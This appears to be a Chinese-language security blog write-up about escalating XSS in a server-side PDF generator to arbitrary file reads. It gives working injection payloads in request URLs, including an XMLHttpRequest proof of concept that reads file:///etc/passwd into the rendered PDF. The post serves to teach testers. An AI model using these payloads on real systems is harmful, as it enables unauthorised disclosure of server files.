PDF生成漏洞:从XSS到服务端任意文件读取

  • Comments Off on PDF生成漏洞:从XSS到服务端任意文件读取
  • 36 views
  • A+

一、 前言

XSS是最为常见的Web漏洞之一,多年来连续入选OWASP TOP 10,相信大家都耳熟能详。

它是一种代码注入类的攻击,是一种客户端侧的攻击,攻击者通过在Web应用中注入恶意JavaScript代码,通过点击URL,最终在受害者浏览器端执行的一种漏洞。主要有反射型XSS、存储型XSS、基于DOM的XSS三类。

XSS一些比较常规的危害大概有:重定向浏览器、窃取Cookie、浏览器劫持等。

与常规的XSS介绍不同,本篇文章侧重于发现XSS后的进一步利用。

主要介绍在某次实际测试过程中,发现XSS漏洞之后,如何进一步的利用,最终通过XSS达到服务端任意文件读取的危害。

二、 漏洞详情

在某个Web站点中,发现了一处可以让我们下载PDF的功能,大概的URL如下:

https://xxx.com/pay/downloadStatements?Id=xxxx&utrnumber=testxyz&date=2020-08-17

测试过程中发现,URL中的utrnumber字段的值在PDF文件中被渲染,所以尝试用类似**"><s>aaa这样的html代码来当做该字段的值,也就是如下的URL

https://xxx.com/pay/downloadStatements?Id=xxxx&utrnumber="><s>aaa&date=2020-08-17

访问该URL,打开获取到的PDF文件,发现"><s>aaa被当做HTML渲染,这就导致了XSS。结果如下:

wKg0C2Fz372AaqByAAAUd1ww1do460.png

尝试过用< iframe>标签来探测内网和file协议来读取文件,但都失败了。

在此之后,尝试使用JavaScript来进行进一步的探索,但是目前不不确定PDF的渲染过程中,是否执行了JavaScript脚本。所以尝试使用如下脚本来观察JS是否成功执行。

<p id="test">123</p>
 < script>
     document.getElementById('test').innerHTML='aaaa'
 </script>
 
 <!-- or this -->
 <img src=x onerror=document.write("aaaa")>

对应URL为:

https://xxx.com/pay/downloadStatements?Id=xxxx&utrnumber=<img src=x onerror=document.write("aaaa")>&date=2020-08-17

wKg0C2Fz4A2AGu3iAAAQyVc4nxM089.png

观察到JavaScript脚本成功执行。

接下来,检查了一下JavaScript执行所在context,令人惊喜的是这段脚本,在服务端是在file://下执行的,这也就意味着我们或许可以借此来达到任意文件读取的效果。

https://xxx.com/pay/downloadStatements?Id=xxxx&utrnumber=<img src=x onerror=document.write(<img src=x onerror=document.write('aaaa'%2bwindow.location)>)>&date=2020-08-17

wKg0C2Fz4E6AEkBaAAAzLvBspx8413.png

接下来,尝试通过 XHR(XMLHttpRequest)来读取服务器端文件的内容,简单的PoC如下:

< script>
     x=new XMLHttpRequest;
     x.onload=function(){  
     document.write(this.responseText)
 };
     x.open("GET","file:///etc/passwd");
     x.send();
 </script>

也即访问如下URL,下载对应的PDF文件:

https://xxx.com/pay/downloadStatements?Id=xxxx&utrnumber=< script>x=new XMLHttpRequest;x.onload=function(){document.write(this.responseText)};x.open("GET","file:///etc/passwd");x.send();</script>&date=2020-08-17

接下来查看对应 的PDF文件内容,发现成功读取到了passwd文件的内容

wKg0C2Fz4HWABMVUAABJ7ZQ3jz4749.png

至此,我们就完成了服务端XSS到服务端的任意文件读取,然后就能读取服务器上随便一个文件的内容啦。

三、 总结

XSS是Web中很常见的一种漏洞,我们在日常的漏洞挖掘中,如果发现了XSS,不妨结合具体的应用功能做进一步的挖掘,尝试扩大XSS的危害,本次挖掘就利用XSS达到了的服务端任意文件读取的效果。

参考/学习资料:

相关推荐: JavaWeb中的权限控制——Spring AOP

一、前言   在实际开发场景中经常需要解决接口权限鉴别问题,能处理的方式有很多种,例如可以直接在controller中和service调用中识别用户身份,或者根据数据库返回的entity判断对应的creator是否为当前user,也可以使用…